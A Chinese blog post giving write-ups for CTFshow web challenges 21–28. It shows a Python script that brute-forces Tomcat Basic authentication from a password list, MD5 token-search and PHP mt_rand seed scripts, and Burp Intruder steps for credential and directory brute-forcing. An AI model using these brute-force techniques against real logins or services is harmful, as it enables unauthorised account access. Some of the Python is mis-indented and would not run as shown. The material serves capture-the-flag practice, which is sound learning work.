CTFshow(web21-web28)

web21

考点tomcat 认证爆破之custom iterator使用

https://www.cnblogs.com/007NBqaq/p/13220297.html 下载密码字典抓包,通过burpsuite暴力破解
Payload set ---->custom iterator(自定义迭代器)
需要进行base64编码;payload processing 进行编码设置
取消Palyload Encoding编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响base64 加密的结果
tomcat 认证爆破之custom iterator使用
进入页面要登录
在这里插入图片描述

bp抓包,解密的得到我们输入的用户名和密码,说明我们输入的被base64编码了
在这里插入图片描述

在这里插入图片描述

Payload set ---->custom iterator(自定义迭代器)------>position 3------>输入字典
自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的tomcat密码的格式:用户名:密码 ----->则position的位数为3

用题目给的密码包爆破
在这里插入图片描述

用户名添加变量符号
在这里插入图片描述

添加前缀admin:
在这里插入图片描述

取消对号
在这里插入图片描述

开始攻击,接着找flag
附脚本:

import time
import requests
import base64
url = '题目链接'
password = []
with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
for p in password:
	strs = 'admin:'+ p[:-1]
	header={
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

web22

环境出问题没做

web23

查看源代码发现我们需要get一个token满足条件就可以出flag

import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]

传递?token=3j
即可出flag

web24

参考PHP随机数的伪随机数 mt_srand(seed); 函数播种 Mersenne Twister 随机数生成器。seed,可选。规定播种值

<?php
//Firebasky
error_reporting(0);
$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";//字典
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
// echo md5($token)."\n";
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token,
14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token,
14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token,
31,1))){
echo "success"."\n";
echo $a[$i].$a[$j];
exit(0);
}
}
}
} ?>
#coding: utf-8
#啊韬
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
脚本

<?php
mt_srand(372619038);
echo(mt_rand());
?>

生成了一个对应的伪随机数
1155388967

web25

难,不做了吧

web26

burp抓包
在这里插入图片描述
直接出了flag。。。。

应该的正常的做法
先抓包
在这里插入图片描述

然后intruder爆破,用web21的字典爆破就好
跑的有点慢要等一会
得到密码:7758521

web27

打开之后看得到一个报名界面,这就去报名,我是菜鸡
看到下面有录取名单,点了一下,下载了一个文件
在这里插入图片描述

在进入学籍查询系统
在这里插入图片描述

看wp就是根据名单,利用他信息爆破登录得到flag
开始爆破
抓包之后发现没有post包,好烦。。。。要在goole里看到post的包
在这里插入图片描述

找到之后放到burp里
在这里插入图片描述

发送到爆破功能区,设定变量,类型改为dates
在这里插入图片描述
在这里插入图片描述

开始爆破,爆破成功得到
在这里插入图片描述

alert(“\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237
\u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801”)

放到控制台运行
在这里插入图片描述

得到学号02015237和身份证621022199002015237,拿去登入
在这里插入图片描述

web28

看看提示,爆破目录就可以了,来动动手
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可
0

打开一看,嗷吆~这网址有点问题哈,,抓包,删去2.txt,爆破目录
在这里插入图片描述

要把爆破模式改为cluster bomb
在这里插入图片描述

跑了半天,终于跑出来了
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q1ng_chuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值